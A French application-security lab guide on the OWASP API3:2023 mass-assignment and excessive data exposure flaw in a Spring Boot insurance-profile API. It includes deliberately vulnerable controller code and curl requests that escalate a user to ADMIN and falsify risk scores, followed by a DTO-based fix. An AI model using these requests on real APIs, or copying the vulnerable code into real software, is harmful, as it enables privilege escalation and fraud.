Broken Object Property Level Auth.
Java 17 · Spring Boot
Mass Assignment : un assuré s'auto-promeut administrateur en incluant le champ role dans son PUT.
Cas n°8 — API3:2023 Broken Object Property Level Authorization (BOPLA)
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=08
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=08 -e variant=secure
Référence OWASP : API3:2023 - Broken Object Property Level Authorization
Stack : Java 17, Spring Boot 3.2, Spring Security, JWT, H2
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | 08_vulnerable_01_deploy.mp4 |
| Application vulnérable, démo | 08_vulnerable_01_demo.mp4 |
| Application sécurisée, déploiement | 08_secure_01_deploy.mp4 |
| Application sécurisée, démo | 08_secure_01_demo.mp4 |
Contexte métier
API REST de gestion du profil assuré Assuria. L'assuré peut consulter et modifier ses informations personnelles via GET /api/profil et PUT /api/profil.
Comptes de test
| Login | Mot de passe | Rôle |
|---|---|---|
jdupont |
password1 |
USER |
mmartin |
password2 |
USER |
admin |
admin123 |
ADMIN |
Lancer les applications
# Version vulnérable
cd vulnerable
mvn spring-boot:run
# Version sécurisée (arrêter la vulnérable d'abord)
cd secure
mvn spring-boot:run
Les deux applications démarrent sur le port 8080.
La vulnérabilité — BOPLA
BOPLA combine deux failles complémentaires sur les propriétés d'un objet :
| Faille | Description |
|---|---|
| Excessive Data Exposure | L'API retourne plus de champs que nécessaire — des données internes sont exposées en lecture |
| Mass Assignment | L'API accepte plus de champs que prévu — des champs internes peuvent être modifiés en écriture |
Version vulnérable
Faille 1 — Excessive Data Exposure (lecture)
GET /api/profil retourne directement l'entité JPA :
// ProfilController.java — VULNERABLE
@GetMapping("/api/profil")
public ResponseEntity<Profil> getProfil(Authentication auth) {
User user = userRepository.findByLogin(auth.getName()).orElseThrow();
Profil profil = profilRepository.findByUser(user).orElseThrow();
return ResponseEntity.ok(profil); // Entité complète sérialisée
}
Réponse réelle reçue par l'assuré :
{
"id": 1,
"nom": "Dupont",
"prenom": "Jean",
"email": "jean.dupont@email.com",
"telephone": "0612345678",
"adresse": "12 rue de la Paix, 75001 Paris",
"role": "USER",
"primeTotale": 1130.0,
"scoreRisque": 72,
"commentaireInterne": "Client fidèle depuis 2015",
"createdAt": "2024-01-15T10:30:00",
"updatedAt": "2024-06-20T14:15:00",
"actif": true
}
L'assuré voit ce que le gestionnaire pense de lui, son score de risque interne et sa prime réelle.
Faille 2 — Mass Assignment (écriture)
PUT /api/profil mappe le JSON directement sur l'entité JPA avec BeanUtils.copyProperties :
// ProfilController.java — VULNERABLE
@PutMapping("/api/profil")
public ResponseEntity<Profil> updateProfil(@RequestBody Profil profilUpdate,
Authentication auth) {
Profil profil = profilRepository.findByUser(user).orElseThrow();
// Copie TOUS les champs non-null sans distinction public/interne
BeanUtils.copyProperties(profilUpdate, profil, "id", "user");
return ResponseEntity.ok(profilRepository.save(profil));
}
Tout champ présent dans le JSON est copié, y compris role, scoreRisque, primeTotale, commentaireInterne.
Exploitation pas-à-pas
Prérequis
# Démarrer la version vulnérable
cd vulnerable && mvn spring-boot:run
Exploit 1 — Excessive Data Exposure
# Se connecter
TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"jdupont","password":"password1"}' | jq -r '.token')
# Consulter le profil — les champs internes sont exposés
curl -s -H "Authorization: Bearer $TOKEN" https://appsec.cc/api/profil | jq
# Résultat : scoreRisque=72, commentaireInterne="Client fidèle depuis 2015"
# L'assuré peut lire les notes confidentielles de son gestionnaire
Exploit 2 — Mass Assignment : élévation de privilège
# Modifier son profil en injectant role=ADMIN
curl -s -X PUT https://appsec.cc/api/profil \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"nom": "Dupont",
"prenom": "Jean",
"email": "jean.dupont@email.com",
"role": "ADMIN"
}' | jq '.role'
# → "ADMIN"
# Se reconnecter pour obtenir un token ADMIN
TOKEN_ADMIN=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"jdupont","password":"password1"}' | jq -r '.token')
# Accéder à l'endpoint admin
curl -s -H "Authorization: Bearer $TOKEN_ADMIN" \
https://appsec.cc/api/admin/profils | jq
# → 200 OK avec la liste de tous les profils
Exploit 3 — Mass Assignment : falsification des données métier
TOKEN2=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"mmartin","password":"password2"}' | jq -r '.token')
# Réduire son score de risque pour obtenir de meilleures primes
curl -s -X PUT https://appsec.cc/api/profil \
-H "Authorization: Bearer $TOKEN2" \
-H "Content-Type: application/json" \
-d '{
"nom": "Martin",
"prenom": "Marie",
"email": "marie.martin@email.com",
"scoreRisque": 5,
"primeTotale": 50.0,
"commentaireInterne": "Client VIP sans sinistre"
}' | jq '{scoreRisque, primeTotale, commentaireInterne}'
# → scoreRisque=5, primeTotale=50.0 — fraude assurance
Script automatisé
chmod +x exploit/bopla-exploit.sh
./exploit/bopla-exploit.sh
# Windows :
exploit\bopla-exploit.bat
Correctif — Version sécurisée
Principe : DTOs séparés pour l'entrée et la sortie
La règle fondamentale : ne jamais exposer l'entité JPA directement.
Entité JPA (Profil)
│
├── GET → ProfilResponseDTO (uniquement : nom, prenom, email, telephone, adresse)
└── PUT ← ProfilUpdateDTO (uniquement : nom, prenom, email, telephone, adresse)
1. DTO de sortie — ce que l'utilisateur peut voir
// ProfilResponseDTO.java
public record ProfilResponseDTO(
String nom, String prenom, String email, String telephone, String adresse
) {
public static ProfilResponseDTO fromEntity(Profil profil) {
return new ProfilResponseDTO(
profil.getNom(), profil.getPrenom(), profil.getEmail(),
profil.getTelephone(), profil.getAdresse()
);
}
}
scoreRisque, commentaireInterne, role, primeTotale ne font pas partie du record → ils sont physiquement absents de la réponse JSON.
2. DTO d'entrée — ce que l'utilisateur peut modifier
// ProfilUpdateDTO.java
public record ProfilUpdateDTO(
@NotBlank String nom,
@NotBlank String prenom,
@Email String email,
@Pattern(regexp = "^0[1-9][0-9]{8}$") String telephone,
String adresse
) {}
Spring ne désérialisera que ces 5 champs. Envoyer "role":"ADMIN" dans le JSON est silencieusement ignoré.
3. Contrôleur sécurisé
// ProfilController.java
@GetMapping("/api/profil")
public ResponseEntity<ProfilResponseDTO> getProfil(Authentication auth) {
Profil profil = profilService.getProfilForUser(auth.getName());
return ResponseEntity.ok(ProfilResponseDTO.fromEntity(profil));
}
@PutMapping("/api/profil")
public ResponseEntity<ProfilResponseDTO> updateProfil(
@Valid @RequestBody ProfilUpdateDTO dto,
Authentication auth) {
Profil profil = profilService.updateProfil(auth.getName(), dto);
return ResponseEntity.ok(ProfilResponseDTO.fromEntity(profil));
}
4. Service avec mapping explicite
// ProfilService.java
public Profil updateProfil(String login, ProfilUpdateDTO dto) {
Profil profil = getProfilForUser(login);
// Mapping champ par champ — les champs internes ne sont jamais touchés
profil.setNom(dto.nom());
profil.setPrenom(dto.prenom());
profil.setEmail(dto.email());
profil.setTelephone(dto.telephone());
profil.setAdresse(dto.adresse());
return profilRepository.save(profil);
}
5. @JsonIgnore comme défense additionnelle (defense in depth)
// Profil.java — dans la version sécurisée
@JsonIgnore private String role;
@JsonIgnore private Integer scoreRisque;
@JsonIgnore private String commentaireInterne;
@JsonIgnore private Double primeTotale;
Si un jour le contrôleur retourne accidentellement l'entité au lieu du DTO, les champs sensibles resteront masqués.
Vérification du correctif
cd secure && mvn spring-boot:run
TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"jdupont","password":"password1"}' | jq -r '.token')
# GET — seuls les champs autorisés sont retournés
curl -s -H "Authorization: Bearer $TOKEN" https://appsec.cc/api/profil | jq
# → {"nom":"Dupont","prenom":"Jean","email":"...","telephone":"...","adresse":"..."}
# scoreRisque, role, commentaireInterne sont absents
# PUT — le champ role est ignoré silencieusement
curl -s -X PUT https://appsec.cc/api/profil \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"nom":"Dupont","prenom":"Jean","email":"jean.dupont@email.com","role":"ADMIN"}' | jq
# → {"nom":"Dupont","prenom":"Jean",...} — role non modifié
# Validation — champ invalide
curl -s -X PUT https://appsec.cc/api/profil \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"nom":"","prenom":"Jean","email":"pas-un-email"}' | jq
# → 400 Bad Request avec les erreurs de validation
Points clés à retenir
| # | Règle | Pourquoi |
|---|---|---|
| 1 | Ne jamais exposer l'entité JPA directement | L'entité contient des champs internes non destinés aux clients |
| 2 | DTOs d'entrée ≠ DTOs de sortie | Les champs lisibles et modifiables sont différents |
| 3 | Mapping explicite champ par champ | BeanUtils.copyProperties est dangereux — il copie tout |
| 4 | @Valid + contraintes de validation |
Valider le format des entrées dès la réception |
| 5 | @JsonIgnore en défense additionnelle |
Ne remplace pas les DTOs mais réduit la surface d'exposition |